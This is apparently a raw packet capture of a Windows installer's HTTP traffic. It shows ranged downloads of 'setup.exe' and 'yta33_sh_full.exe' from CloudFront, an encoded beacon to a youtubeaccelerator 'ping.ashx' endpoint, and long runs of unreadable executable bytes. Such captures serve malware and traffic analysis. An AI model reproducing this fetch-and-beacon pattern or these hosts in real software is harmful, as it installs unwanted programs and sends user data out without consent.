....t2[.~.0.~......lU..|....jU...r..V..[.n......a.z.T..q^.~oU}^...K~..
M=z....7.zR/^......;~4-.w.......p?^U..y9.^..z1-'..........O_...N......
.u...............wz%'b ..p..a9............)?-..an....^....r.....5s~:.g
..N......;...o.....G..c....5.x...j=)...a.....i_....v..-./......n_./...
w......E..?h..w........=.|h..........t..Y....A..{.....O....A.{.?(>.
....x'...x.e.....z-~..}P.......>..........>>.\`..3|......6..k
.;.....o.;.......Q....8~....dS-....U..V..xV.....=...8..|<.f..h.-.jZ
.V........(.EU...H..,..zV....E.^/.Uk>...b........A..P.....[/1....L.
;...#M.kL..0.5&.,.......X.......c.X._xw1.OA.#.......%.mR.6..TeS.Y..\..
.]=p.6...s....^...;.....?U...u...|9.X.W...r.X\...../.?....b^/JN.?[T...
.. |..j3..r...r<)o.....IBf.},......>....<.0..#-.s.._U.0..x9..
....d=....\.....r6...... l..g.....N.........k.....^d.....\...XK|...pF8
...Jk......ZL.9......Z....|.....r...N....' <..,k..A.H.h...CQ......j
t.....C./.rR.q.....S.......@.X......W...rj..Q....M..tz...ed...$<y..
.... ....|X.....Z.w...2H.c..4...).......... l3F.o3.,....qVc...Z.SmP...
.02&.....Y.j...s.bR...(.. ...;..K.lb(g.z.Z.G.a....`>...1......K2...
/.hg.....9e...H.gU.Zc.,z......2f.........7..R.AYX.'.....`.I...B..4p...
....x..@.\..5U..x.......*..z.=r.6.'.s\H.9.!.N.;......g....gq.O.. .Y...
...[.X%........ L.........9..E..............`.I1.F.......0|.h...".<<< skipped >>>

GET /mirror/pricefountain/default/setup.exe HTTP/1.1

Range: bytes=815616-

User-Agent: Better Installer(Mozilla)

Host: d2lci0er4bmjg2.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 815616

Connection: keep-alive

Date: Tue, 06 Jan 2015 11:12:14 GMT

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33188/mtime:1420539938/atime:1420540204/ctime:1420539939

Cache-Control: max-age=3600

Last-Modified: Tue, 06 Jan 2015 11:01:30 GMT

x-amz-version-id: 33GIbljaZdOrrxw6fd8yOhdzeKhEU7SW

ETag: "aba069326327747d739be51094cd31c2"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 815616-1631231/1631232

Age: 2131

X-Cache: Hit from cloudfront

Via: 1.1 e985f18640f58cd27a9756c50a97a37d.cloudfront.net (CloudFront)

X-Amz-Cf-Id: hEMAuErBXSmkk9In4cDr0bj-h_f3E5n4vSv7B0O78vFuyuG3yOQniw==
].....%8....g.}v..../..@V....5.. K......!..xU!....9...:..N.0..rE!.,q.w
~K......I"S..%$~c.....!.J...j%..B.#&...70#9'....\...tS.G.H...qi.a.#.bQ
H.CRV ......XU.....#....Zy@"..C...../..0.C.E]'f5G.M.Y._....:....(1x...
F..*.Y}........}....kVk.F....xewX .0........M]..m....f.G.....,...'z`gR
.].....w.!..".L't..c..s.!-/h>.....o0........}O...`.5.V..\5.........
N..Xx.z.O.X.9....Z..J5%.....u.d......t|......\...?...V). ..S.......(.s
T..e&.......6..)|...&..z........h.....T..t......IJ..9.E.'.hW..........
..0Z.#.FO~8f..,.th|:}Q[.....{ ...n..o.=...F.R..j.CW...B.2.8mx...kbT...
......rh...N...Z..dT..bS..m9....ku..F.. @..l...X....z...-... ...no.,..
.X........[...P..o.....4o"KEms3..9.....X...N.K.......&V.j$....S{... . 
.........6..w{..(...&@.1C...u..5...H6...............U.....b........~[~
.....UlQ .1UF......B.T.....4...*.Ms:..4....w2R...c...C#..E...tQDbs. ..
x5..P.).....Jr..<&......F...af.fU.Nr.xX.H.79N.=Y..b...)(......."r..
....4kK....E..R.$e.]...Bg).. ...L./v......N|-"85..._ '.I.q.....p...2..
........F..w.....;Ts..|..G.fd.e......x.<..0`.....>.c...d........
Sl.#..V^....ND7.s....N.[....iR.@.6..~.x..B........;o...DE.......XNO...
.......x.....Q..g..%.n.....1..0 ...}>.]k......PE.ar.x.v...Y.5...FR.
|..#$.'.0 ...@~(.B..B.B...t....Bi.6......6..}..M.....l?..4....\...U..&
lt;...A....j.n..TCc.NEv...p.3H.?$P...@S....l.G@.!.....*/T$...r..Z.[Iw,
....p9JM....f.....V......*......e4".Y..9.pu.....1c...D..jA.Aw..|V..)..
.Jq..d...k..F..T.g_m.i.G.(...i.An:.....]Q.../..| .P.....ZP..O...q.~...
r........u...\%.!.>..,.p!).U..o..3W.G6....%.. I........4eG....L<<< skipped >>>

GET /app/ping.ashx?e=hWfaA75NtHH85nz5m58wW2lBVeUjsyYp69ciWx3pcgm9gdZ7vVVoir9hXn5fpF0A/EmjUQkbJhH56Z3csCJxKxjG8uFQJiyiY2Da1UJrhtiTRcHKuVeTpeVdCR9NLnB0e3edDIJy/8qNY4DQB5 LV7n0SGxs2Tic95lwett3Vo9Sm86iO74s2DaiKJWrVJK1sy5tT6J5DzobaSCh4sqi9NZXqiTUzAU33Ih1Kfu IMR1mAEZr2jgd4ITH/ICkfqy8JjKZLgwFzG/wC513n 0HRZRXx49nRJ1TcWL70UkzVrp4nRJFoUZgqmZqNAnWmvDFlFfHj2dEnXOu4xvnbO4b dZEqrqnEnHqrJOcCBCplVg8smq5m/rppX wpBXA2YnfYWeTugkIGZ XTIrvDDxtHhbCpftK4kGTllbk/LUu49qgJgciU/U2kREjVY40hPt5Jr/XkhzzZ3f3JToCsKtOYzwxTsvpnVcXOyU386ibkNsTaFJlXWyu yt25iEwyPbcvKYfodYqVfh En78PF1o4yWX8hHfz7AAJy7SgRMsWbkZddSrlEwgXRnhKwsbQ8fgLtsWFlLR0rAHl6w3H159Q== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)

Host: rephelper.youtubeaccelerator.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Wed, 07 Jan 2015 09:33:38 GMT

Content-Length: 0

HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Wed, 07 Jan 20
15 09:33:38 GMT..Content-Length: 0..

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=0-249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 0-249999/7592848

Age: 19523

X-Cache: Hit from cloudfront

Via: 1.1 78a4d9fde81619243329bd5b16e112e3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: gc45ZgfdGaGF9S8E1_tsXZnmkRosNkldLAh8M0UNFQ5vDcNYMnl3Yg==

MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......5..Yq...q...
q...q...~.......t.......p.......p.......p...Richq...........PE..L.....
.7......................s.............. ....@.........................
..t.....2-t..............................!..5...D ..<....@..0.s....
.......s..............................................................
 ..D............................text............................... ..
`.rdata....... ......................@..@.data........0...............
.......@....rsrc.....s..@....s.................@..@...................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....x...SV.....W......
V3.PS..4 @.......VP......P..0 @..=, @.SSj.Sj.......h....P......E...{..
.......PV..( @.......PS......h.0@.P..$ @.Sh....j.SS......h...@P......E
.../...SSSj.S.u.... @.SSSj.P.E.... @....E......G.....MZ..t...MZ..u..x.
.t..E.@.}.....|..M.SQh....P.u.... @.W... @..u..=. @....u...... @.j..E.
Y3..}.V.........E.D...P......P..0 @..u.......".......F...:.t..."t.@...
8"u.@.8 t.......Q.u.j.P......P......h.0@.P..< @.....E.P.E.PSSSSS...
...SP......P... @...t.j..u.... @.......P..  @._^3.[....:.t... t..H

<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=500000-749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 500000-749999/7592848

Age: 19524

X-Cache: Hit from cloudfront

Via: 1.1 78a4d9fde81619243329bd5b16e112e3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -U7wXgWMBeCkYbtrXFuLHxzRXEfHBjTPByMJPlYGq0x9GTif67pbjA==
...?.)..=.0...q|. ...N....hi.k..HfI.8E...`.....Qqm..7.g..O...C.g......
.k5..".h7....`M&0?*.'X..D.KSPO5hY..h......<....>...O...<..7..
............}..p ....8(.5..$..|....1...Fny=.....9W.9..{A....y.: .. ..^
v.^Wsl!".R..'.r.@.<...ioM.............wDlk .3..L^\.z\7@.;x..6.]j...
[....-...O.J..q.kt..Af....ed...[F.vT.v|<.&...*].(D.R..n....Fe..M...
.(.X.{$.4..h..%.."Z..C..%.....R.b{.|.[......V..!W.x...~Nj$.U(.5.)....A
84B.5..qr=....3.......'.D.....;...T/...........[Fx.....:..-y{......94.
IH..M......).P...v... .....#yj.`...-....`..h...=.Y...v..V..;......i...
&>...V...'c2.7...4....t..../.f..l.%~G.a .x...(......T.........^A,.n
a...P>...?. .&..^..X.K5-.0<.J#.........w....An.j...m..../.>^k
..I...Y..?.'.k..>5......nG....D.l!..c&......._..Jb.C.h ..m.O....W^.
.@,..?..o.}..P.K@T....)&.G....a.n.8d../QJ..Wj=..2en..@c.S.....b.TP.d.G
.vetE....L$Y...H.....t.....[..}.`..m..L....`.........\v.^\..... ..2.U.
....Qu].vJ.....Pb..ZP.du.>.k.....!.S....7..:..&V.Ya....~..^.W......
X.V..6..KQg(.?...-.....U.&.........6......QD...v{.S. ...5GX(..[.h.....
.w\ ..........V...@9._.>.0.l..[.I.M.VU%.MJ.K..vI.f).I.h..b.4...;.WM
..=.#@:>U'q..2....,......}.i.-@..Y. ...i..........3X.....(...f.....
t%z..i..........Y.......c..-..0k.b,F.Z.nz8.3w.*...-[..f..2.......!..7.
K639nc..@. Ln<@x.%.A....V~kX?_:.....d.........Cy.rVl..... .R.HR-{..
Q..-o_b...I....J-G.20.$........D...t...b%-."</Y..O5..]y|'...y:...:.
..\..:.c.....T.'....t4.)_..&...b.....;..UmdO1,!.].~..p......L.....7...
...Y)...&..../j.J..[M.8L................`........EL..SF..W.N....C.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1000000-1249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1000000-1249999/7592848

Age: 19524

X-Cache: Hit from cloudfront

Via: 1.1 78a4d9fde81619243329bd5b16e112e3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: oTUL3u7QueA5oBpBqE-xrA128I9XAIQCKvZtbPcCgIk69yXMmqoJWQ==
..Hi2J...28.;..9.`...........r|H.g...c.)...7\o.5....y.K......V..A.?.g.
.k:.3u.#A.>.W.....(..-.ap....Y[ ..k[..e4.]s..=..)X1.'._b.....[..b.g
F...=W-H..h.z.=.:...Mn.............-F..>...X.cI.....o....8f...9..ql
.V.pH.1...F.A......7...M.An........R.@]..4.!...1.d..b^m..\..}.p...H(..
...M....op...u.........httn.D4...9..>.anA..-..9..x.!.0.`.....3..\b.
;...d....sN....L...@..AZ..Kt._..}..........l....d (...FK...TQ#`-.m....
.y.8..H...H...8.L...k~Ry@e 7..fn..S$8.Q;.................b..o....|..:.
t..!2(../............4.....C.<j.*...E6Z...:W'.....8.x.._ah=x).Sz.N.
;....,./...F&..u.>.O..*r.........O.-..zsD.LAr...#.jr......w(..Q=.?P
`.'.I.z\...0..h...<#E....Q/...gY....k.z.=..C.....].....9..4O....5).
D_...MI..!...m..#.......]...I...d\5.<.0..9.F...0.j..C..)......D.=*!
....'jw.....R..m..%........Ppf.ti.Lbh.w<..........U ...@...|..W{...
...g.>-$i..:....$.....H.....5y~`......RZ.....@......R!p..HA....A..1
h..V...V=e..g..@.....%../.N>...sD.\P.....@. .....J..,.3......4..'[R
.....3....)B........E.d3..K..Gp.f.H..W!.....O..dF...`.X.KQ....KC....5.
...Pj....G........;a;..N..O.#~5Z.'........O?.x.x$.......W..0.(...o(lQ.
.n.(.......(.=.n.Y........Q.4z>m...J-\. ...D6)......N&8.;......oU..
..Pnl./,>2....(f..B.....8....h...cTv......8....( a....z...=.H...<
;._.0-8...='....Yr!.).].#.P..wL'.......4..Q-..M..C<..'.. ........^.
.4m...].D3..PV........U.A7.uT.t...W..:...eZ#Yn;w#DH..{.A'={..........m
.M8N.<.".%s.w .....8(=.*m..=..U.x!q.".6.0 .z_.../..6.j..V.f.....,..
A...V..U...8.qw.L..r..?...!y... ..t..5. 3>. ....V.....U.*)..1.g<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1250000-1499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1250000-1499999/7592848

Age: 19524

X-Cache: Hit from cloudfront

Via: 1.1 78a4d9fde81619243329bd5b16e112e3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 37L_300XZB3W7VJbJvmNisYW_pLh0jevgeaiwdQZgoqgEEznnWVNjw==
.NiH..Z.u.......H..j-.[Z%..!6b......6\#.m....:9... ......n%b.J.uI.4...
..n...=.cK.v.x-..,.T"^/4...*.....<U....._5._..<M|...=.i]....n...
YV.....W..V...H.;.....P....R....ynw.'.y....Z...:[.9)Q.&9.....r....D...
66Y..W.....rij.......,.2c.....<..ia$8....H.]..../."W...W.'.-V..z...
...C....Z...o.%.;."......5M.|..NBg.......[..........3......f...n~..M.D
.d2.....".>.T.]==.....?Fy.N..%?.d..,~...P....{..`>.6...$..d3^g..
w..ec...a.O.d.m`....r..v0..@.w......q.o......<r5.S.............o3M.
..R.s._$-...$.(...8.*.6.%>.~..5...}P.c..d3..2..0....P.U.j.!..8q..MN
...B.PN..c.....7).K.....u..F..$....z..."V..N../~@...."..M...M`[.......
.....i..1Kf......NR......*.1.P]&5gwm(..`.l3..L.HT.Et9.N......K.dc....)
4vU...)<hp|.........Sj/.4H....... 7...'.R..o..[. .._.K....:..S..{..
&J:...>.b..k...*..k.^~.... 8;n....B2.?..0&.n...-6.0....c..7..4B....
~.....jI...K1..G..ISZ^....E.;T.......2y.|..{...\s...s.g...ma.{:#yT....
..k.....y...<[...|ts..].0o..y...k....}....W.y..u....<..T....:O.-
u..y.<.'.y>..?......:....y6.z.|.......o.y>.i.d=k.....u....d.F
Y.E.......;2........2.zY.>....:O..g....O.n.u.w[.'....&......3m.C...
G.5%'|....^............y.(........m".w.....d)1.|b.8...t....5T.Qa....`.
............6.t.6.....8.X.!..9.)......'... ....J*....C.M........,...d2
C.xZL..MJ{......u.D...b.~h...K.....YY.......k........Xi.Wtb.w).F;_i...
...q.~.'72D..t...)I.5...Om.......p.._..&..1....i)r...4o<.]..V..z.O.
........5....@.X.....?}..#.F:.. ..O...X..Uud..\/..y.P/..........B.Q...
A.C...v3.r.r..{.........s.&.q...h...g...R....$6W.........j\v..g0F.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=1500000-1749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 1500000-1749999/7592848

Age: 19524

X-Cache: Hit from cloudfront

Via: 1.1 78a4d9fde81619243329bd5b16e112e3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 60Ib4Ol3MtNjd4SSChBYbdKbItQQqJ7cUaCSWSCbQ-TVGLmBfxrc2w==
............Bi.)... ..2.E..*.6E.B...q..|5.[A>#...5^K.1.A..#@...c..0
T!.=.....v.,....<_.....5W.....r...r...I.U.9?..@Q.......@e.w!.-CJ.Xp
../a.l#w.i.Zb'...1.......m.B.L....T.s........(l..T.>'^.6..{.m..RB.o
..h.-.W..e(fTmU.F.N5..zVxx.._v..?m......$..c9.......Y.......)-.9.O8...
.zIB...K..C|.(.......Pi.......:.X........C....2..I.l.....Q.uq...0.A...
G.n.r..@\(......X..F../w.:l-...B..>.Q)U|L5A.p8>..[P.M..z.X.y....
Mxt>j..5...m.y.P..,..=yTN:y.~.,<:.o..E..iw..%[.EN........A......
N...0HF|...`........B..P......@.2.".`.......RT..<q..P.L.H..HJ.8.m^*
.QS."!7r.Q......N..n<.........l^(F..*.Ya.U....w...[C..7%Xs.Z...>
.2vA...r".......ov...u;Q.Z}T=..d......a...r.....x.Y..`....g...nj..z...
...5=....._.............;.w.=c.,..B.....R.aJ6y<A.Y...(.....Y<;^.
...j...N._;cU..B....<\....&Z;../BI.F.gB..~fy..-.b"U..n.....r.v.....
.#.hY.<.c..8.4.....Of.8:.S.>..[.....C.A...-...j.._]B.R.U...p..-.
.M@_.s..v.\xh...eC....:.T]..g...-....;0....u.LrU......U..;.T.R.c.? E..
.C......,.O.l..sk}.$:......t.ly)-y./....,q...j..>...9..`.q....Ip...
2.#I:...K..G.3>Z....^.n.0...H...o.Hr.H.CkcE...o.H..b.~3....}B. ....
b.(.)..Rr....cM|W....[hA*D@.zmS.8.w.L....8$....Ek.o.FxjJg...[.....C|3X
....vO.nP.'.p.].]d...=.m.........t..V.#.....L.Z......M.S.4...X...X...P
.7.....F..QG....2..oG...^6..!....M..R.......v...$@.I.e~v...:1.mQ.g.../
..q..c......>.n.{w..0.J.....4...ND.J..|......&....un?.iP.%.u..U.q.J
--S.....&-|..W.........7..(f...4..T.1h.v.>.......$.oR...N.1M..?..=p
..- ....&)S...>I..l....V.).CM.?.....c.}...8..':.\e.7W1.U>.m.<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2000000-2249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 2250000-2499999/7592848

Age: 19524

X-Cache: Hit from cloudfront

Via: 1.1 78a4d9fde81619243329bd5b16e112e3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: Em8V_m9wmOVuPRxXjPEzTdUrFdkgzNVX2UvaZpvv-x_CRf4jDtyAQg==
.NR...RT.... ...n...e...T.....@..{.,C..../D^..h..g.].x..yIhI....$Hs...
..Zh......'}j..!)e.J....;S................w.....g.;hz.7....w.e.. ..u#.
._.....E..B.l..2...i.O.."....*..5.....}^....<(..n.....e.q....".P.A.
..x...<..c4h...v3M.6}0...Fjpj..H!......S.......u.L....R.b[.7..c/KU.
.L.?X.).;$EH.8.VS..z.......R_^'...2.L.]>..Y8.*.........gl....h.?..g
.ck[..eC..Z.X..hM@0..c\wEj....90`.M..uMB....0...v.Z7.l._......u....N..
.\.x..k:jw..k.z.....]...O..v.....W.I..2........ Z...?.?yJ.9.).........
.d. /.}.EdM......q......\.w.^a.~g.c]..PT...|..$....jVk`....`...../.9 .
..M9B.V#....B........Z......@..C...`.....H...gr......w..uB.....]^'..$Y
.B.........B.\ ..=p,C...Y....Y..P&......f.....(...%. .$......PH. .Y...
J..Q,RD.CV...U......l.b!aO..j....[.....}2/......g...S.........>g.sf
....:....;............s.....7..F.........`.]XI.X-..])]...v.i..VK..BL-.
.|r..g^....:...H.#"..@..,.1-.....`.0.dy.c...^..$.:D......7O.......s9.k
....@H....K............5}.B...Wd..(........){.c..%.....Z[.d.vu.h3...c.
..qA.}.....~.....Bj....5..F2X.....u....6.0.aT.........?b@i....0.0.k...
Ay........Q...u.Y.9. -4.p..X...&..9q.k.H]..atd..4)l.....o...N...Y...gD
.n=_..... .r...U...~..*.9Z.J"...... Iv../.#....k2.e.v4t..gX../.."...5:
.(..W.~.=BG.....ia.".QW.?v....8..~....K......t..o....:m-.#.L.4..Mn.2.:
...F.#..n.....L.......N.5!"..%,..o'h...t4.%...;...!...t.q)~...~5..y..X
..k[.\,..D..i..6.z..=...5....n#....k..#...A...H.[..... ...u....p..#`..
......u..y>....e[...'.D...P......|..[.>..4..e...v.v.i..........&
lt;m(.`..9..bk...bt..!..p....."......l..]g\.......Y..CEtXs%..=....<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=2500000-2749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 2750000-2999999/7592848

Age: 19525

X-Cache: Hit from cloudfront

Via: 1.1 78a4d9fde81619243329bd5b16e112e3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: hyOXlkBNwuiWcdb07AijO74SLCmjujDiUy6eW2e44zqz_StpGsREaQ==
.."V.....iU.(VE.W..a..g.G.... ..1;.&E....L./.zO...9<.p.......K.....
..|........:...9.@..m.J.....f.."....x(N&.-......`.;..Je.<U.R...CJe.
<>......*.........M.<.......YA..y.....(...G..n......</...i
^........HL.{...W..^........K...n..#..I.....=....x.....T....g.^q. .d&.
P......Vj..h.?._.u..e'...P..>.....sA......K.sY......D2..k......j...
....W..3b..F.?K!.....^6gI.:.../ .... ....I..._...z >.<..].d.....
R3...3<.Ni.....K.?=v..4..b....O/.-..GFsr^.9......-.B.;c.......|....
..H..(.7N....b..p.7e..7L1?z.1P.......7.........[q...[L....-M.;.O....V.
... ..d..|Th..8.X.\.z)....w.8B..7...'.k.r.y....../..q.)...[.p&].N6.xc.
.....m.xc'ol..m..m...U.z.y.g..t.AMM..!G.........O....[.y...|..3..6...x
....}....}X*.....$..XX[`.i?\....A.x.%.:.z........Pw..D......'O!>..(
{......`..c.....A.w!...bt.I..I.:D.......s.8Q..P....GRaZ._BK .......h..
La,.D..H.........9Fij.-...W......yY..BU,..0....}.,\..oG...N...].b.5...
..Z..p. ....*...v*.......N..$n.\4...$..dUo6....Ci...xzY8m.C...g."m....
.b.@...r.h%"!...gU.."s.$.E.3....an....O.F....".`...........6..../.2...
..k...._....EA..%!..`...|...P]'hV.S..]..E.xIj.N...'....\....[.....@Mn.
..|......cqf..u$........... |...w........i.$..u.{.B.M..H.....?..'.. y.
.&}=7...L.....u.... _......l.Q....h....\.......Jv....6.t.a...M.......:
^..;.....s.........@..S..........v...6./."1.....KT|)...k.o....?0s..>
;A.xz.ovd.....?.d.....*...*]_.....?$....G0..sp{.8=.h9.x.. .w*..D..b.-.
).*....j.<).Ri.^..;~...y..L.....$....R...M....YX#\........i.e.....4
...1.~*.[D0x...?.....[........'.ob.../..D.?x.U:....LY1.... .S.C[..<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=3000000-3249999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 3000000-3249999/7592848

Age: 19525

X-Cache: Hit from cloudfront

Via: 1.1 78a4d9fde81619243329bd5b16e112e3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: kQeo1OK5a3FVVXRMGjJBNN3YOH2WliHBzO-JNMo4xmoOQ5-R4xS23A==
"..k...L.,..n........mza...G.v~.(.M..C....Z..hi....N*......d.....3.C..
...Y\y'3...k].....o3.....,;...g....\......M..}...~x.....gT.5c.G....c.j
.x...2.....ug.......kF...3.M.v....s...q....50.._.M.F..R.n...../...\d~.
....V0..l]}.[P...v)F....I...... l...."....m..G...X`o.......K....@T}w..
...4-....../.|..7.....4m.....B...V..A.Q..........q.2YW.5.....^k..Pt...
YZ'..0r4i.m.J,.9.<<.i.....l.N;.]m...cX....Z...].97 ..X>.<.
......D.#>............_...,....f.....u.......!k....T...v..G..2...j.
x.. .c........?3..0~...(........W...}?....2....gL[..>ti0f.u.......D
..[.X4.<8.O....0.$}..S.i..........qI.~...a.T7\A.b%.tc..7.sk..K[g...
A.-w......ae..W.u..V...44J.Z....7}o..9.....{.u;:....4c...t.X..z.../..$
y.89@Ss ...iQ.C.>L...q..hV.....M{...o...>...t..o.iLtL.LiY..:6I.a
. {.^.M...u@..D....<O.........l....&..........f= A....".. 3w....emM
....PZ.S~E.....(.*..."...B...y... . 7...d7d.A@.w?.gA...) }..547...s.$.
..z...].....@"|2...7..U.....t..N.*.c...C..J....)G3..l....{@.6s......D3
[.jC.w.W.o...q_..a..#......?..M./.6....)GW....F......}...y..4.T.?q!..6
.Ay....?.........j\..|.:']5:5.A.'A&..OA..A..*...8..b......w...A2..7.13
9/v=x .yc<..y.y.L."P.,D..._..n...........#;A.>MJ.U]Y.T.. ......;
x.}......r........T.....j.f...X(u........EO..H5.....n=X.$w....f.T..T'.
*3.J1.e>.w<~M..}..x..<....n./.T....."..3...9.....t...<-m..
|D.f....a. .g..a.'P.....;..........8...}...#..>......B..e@......Z.&
lt;../h....h}.(.r..gE%6...G..6..H......u.Y>.8g...g..@L....".-^.v...
.;.0~.........Vu...........3..y{.>..CQB;.....y.-.`....z..wd..4Y<<< skipped >>>

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=3250000-3499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive

GET /yta33_sh_full.exe HTTP/1.1

Range: bytes=3500000-3749999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: d3bg798gjlk71j.cloudfront.net

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

Date: Mon, 17 Nov 2014 23:18:21 GMT

Last-Modified: Wed, 18 Jun 2014 13:22:47 GMT

ETag: "e1f48aa094bffe3887d0ffec22eaae1f"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 3500000-3749999/7592848

Age: 19525

X-Cache: Hit from cloudfront

Via: 1.1 78a4d9fde81619243329bd5b16e112e3.cloudfront.net (CloudFront)

X-Amz-Cf-Id: XYALvWLOoJOoZLzqgL-wCb20koXBAO5PFDTjODBidcvULuBXR95qXQ==
.....>F.o..]..........w.Q.._.....f.._.C.......o..T.-..{z..Ov....2..
*j..N.....a.....F....&.\.I.......'.....&..S?.......L6.......p.....]P..
.d..i...,n4o..........'..Ol0....v..kS.b....g.kS6...{.G...*....N.z0.G.3
...F.Uj......W....w...0(W......f.........W1.)...; .....Cv..v.{...}....
c$;.:.{....#w(.Tq.......%k..e ..oDt.h.............5..........d.usD....
...?u...#~.P.......,b.~.n..s.:..m..V.2'.0....8d.ll..0.k:b.......,....Q
.>..@~....n.....".(.|X...=?.W.......C4.o`/.....dm..P.D......n....U.
.&#.W...rQ.......c...7.g ... ..^.. ..T...a,..../Vv4...).....\%..:.W...
../Q.Q=..p.-a....-.........8.>..U...O.2.....t].......*...;.....%...
^)...r.G..>V.(. .E...(._...../.IWW. y...f.E....p......B#.#..F#.....
@.w.?...Y.....J[^wnN.wn.z&....}.w.j2}..ll..4i.=5.P1.{zrK._T...e.......
......U.T.)...............k.....M[.o&..|L[....Oa ..p..&-....sk.k...Xa.
